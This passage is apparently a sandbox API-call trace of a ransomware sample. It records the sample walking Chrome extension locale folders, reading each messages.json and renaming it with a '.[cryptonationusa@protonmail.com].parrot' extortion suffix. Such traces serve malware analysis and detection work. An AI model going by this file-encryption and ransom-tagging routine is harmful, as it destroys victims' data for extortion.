lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.028] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.028] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.028] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.028] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.028] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.028] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.029] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.029] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.029] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.030] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf9, lpOverlapped=0x0) returned 1 [0073.030] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.030] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.031] CloseHandle (hObject=0x28c) returned 1 [0073.031] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.035] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.035] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90334a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90334a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.036] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb90334a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.036] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.037] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.037] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.037] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.037] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.037] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.038] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x204, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.038] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.038] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.039] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.039] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xec, lpOverlapped=0x0) returned 1 [0073.040] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.040] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x204, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.040] CloseHandle (hObject=0x28c) returned 1 [0073.041] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.043] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.044] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9059600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9059600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.045] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9059600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.045] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.046] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.046] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.046] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.046] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.046] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.046] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x207, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.046] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.046] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.047] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.047] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xef, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xef, lpOverlapped=0x0) returned 1 [0073.085] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.085] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x207, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.085] CloseHandle (hObject=0x28c) returned 1 [0073.086] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.089] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.089] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90cba20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90cba20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.090] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb90a58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.092] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.092] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.092] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.092] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.092] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.094] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x264, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.094] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.094] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.095] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.095] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x14c, lpOverlapped=0x0) returned 1 [0073.096] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.096] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x264, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.097] CloseHandle (hObject=0x28c) returned 1 [0073.097] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.100] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.100] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90cba20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb90cba20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.101] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb90cba20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.101] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.101] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.101] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.101] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.101] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.101] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.101] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.102] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.102] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.102] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.103] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd7, lpOverlapped=0x0) returned 1 [0073.103] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.103] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.103] CloseHandle (hObject=0x28c) returned 1 [0073.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.106] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.107] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb90f1b80, 